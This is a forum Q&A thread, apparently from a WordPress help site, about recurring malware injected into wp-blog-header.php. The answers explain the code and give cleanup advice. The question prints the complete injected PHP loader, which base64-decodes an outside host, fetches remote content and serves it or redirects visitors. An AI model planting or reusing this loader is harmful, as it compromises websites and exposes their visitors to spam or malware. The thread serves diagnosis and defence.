2

Someone modifying daily our website file wp-blog-header.php.

They are adding below code which generates unneceassy pages automatic in our website, Code is :

$e = pathinfo($f = strtok($p = @$_SERVER["REQUEST_URI"], "?"), PATHINFO_EXTENSION);

if ((!$e || in_array($e, array("html", "jpg", "png", "gif")) ||
    basename($f, ".php") == "index") && in_array(strtok("="), array("", "p", "page_id")) && (empty($_SERVER["HTTP_USER_AGENT"]) ||
        (stripos($u = $_SERVER["HTTP_USER_AGENT"], "AhrefsBot") === false && stripos($u, "MJ12bot") === false))) {

    $at = "base64_" . "decode";

    $ch = curl_init($at("aHR0cDovL3dwYWRtaW5hZG1pLmNvbS8/") . "7d09c3986906332c22b598b781b38d33" . $p);

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            "X-Forwarded-For: " . @$_SERVER["REMOTE_ADDR"])
    );

    if (isset($_SERVER["HTTP_USER_AGENT"]))
        curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);

    if (isset($_SERVER["HTTP_REFERER"]))
        curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_REFERER"]);

    $ci = "curl_ex" . "ec";

    $data = $ci($ch);
    $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

    if (strlen($data) > 255 && $code == 200) {
        echo $data; exit;
    } else if ($data && ($code == 301 || $code == 302)) {
        header("Location: " . trim($data), true, $code); exit;
    }
}

How can we prevent it? I have removed yesterday above script and today it is in there again.

I have put following in .htaccess, But it did not help :

<Files wp-blog-header.php>
deny from all
</Files>
3

I'm not a security expert, but the code you include in your question roughly does this:

  1. Check if the request is not for a static page (it can't insert anything in that)
  2. Check if the request is not from scraper bots Ahrefsbot and MJ12bot.
  3. If both checks are passed make a connection with the server at wpadminadmi.com (this happens on the line that starts with $ch = curl_init)
  4. Retrieve some code from that site.
  5. Include that code ($data) in your site.

So, your site has been hacked and you are probably distributing malware from your site to the devices of your visitors.

Your question does not include any hints as where the malware might be hiding in your own site. What you see is not the malware itself, but another piece of malware it generates.

The root problem may be anywhere, ranging from a compromised ftp-account to a malicious plugin/theme. Your best option is to wipe the site and install a backup. If you don't have any, you'll have to go through the motions.

  • 1
    "What you see is not the malware itself, but another piece of malware it generates." should be bold in font size 1000px ;) – Mark Kaplun Jan 31 '17 at 19:31
  • @cjbj - Thanks for your answer. Basically malware create random pages with bad content. – Helping Hands Feb 1 '17 at 7:25
  • cjbj and @MarkKaplun I accept what you say but I see something of a contradiction in your answer. if this isn't the malware itself ... effectively we 100% haven't identified the malware at source. If so, how can we be sure our backup isn't also already infected? – hawbsl Mar 26 '17 at 16:12
  • @hawbsl, you can't. Best thing is to avoid being infected in the first place..... You can try to scan for new users, reset passwords of all users, reinstall wordpress plugins and themes from scratch, but if you have a bad code in one of the plugins it will just not be enough – Mark Kaplun Mar 26 '17 at 16:31
  • Thanks @MarkKaplun. I can reasonably easily wipe the site filesystem, reset PWs and recreate the site from scratch, with fresh and fully up to date versions of WordPress and all plugins (actually a reduced set of plugins because I realise when you're fighting a malware attack you purge unused plugins). What I can't do at all easily is recreate from scratch the database. Is it ever possible the infection is in the database? If so, even the above recreate-from-scratch labour isn't going to be worthwhile ... – hawbsl Mar 26 '17 at 18:03
2

The problem is bigger than your attempted solution. If you block that file from being edited, then they can simply just try editing a different file. Someone has obviously hacked your hosting account via weak FTP password, a plugin vulnerability, outdated code, etc.

You should focus on closing however they're gaining access to your system FIRST, then deal with cleaning up whatever they've done.

Some good first steps:

  1. Change your passwords. Yep, all of them. FTP, SSH, WordPress admin, etc.
  2. Go to your WordPress updates page in WP admin and update everything found.
  3. Scan your site for hacked code with a plugin like WordFence.
  4. Scan your site with the timthumb vulnerability scanner. This is often the cause of hacks like this on older sites. --> https://wordpress.org/plugins/timthumb-vulnerability-scanner/
  • Thanks for your answer. I have already performed above but still no solution. I have even check some cron job as well. Can you just tell me what that code function which hacker is adding? I have shared code with question. – Helping Hands Jan 31 '17 at 16:29
  • Is this site being hosted in a shared environment, like an unlimited account with other sites in the same root folder? If so, it's entirely possible that one of those accounts has malware that's reinfecting its neighbors. This happens all the time with GoDaddy hosting, and similar setups. – Greg Burkett Jan 31 '17 at 22:48

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.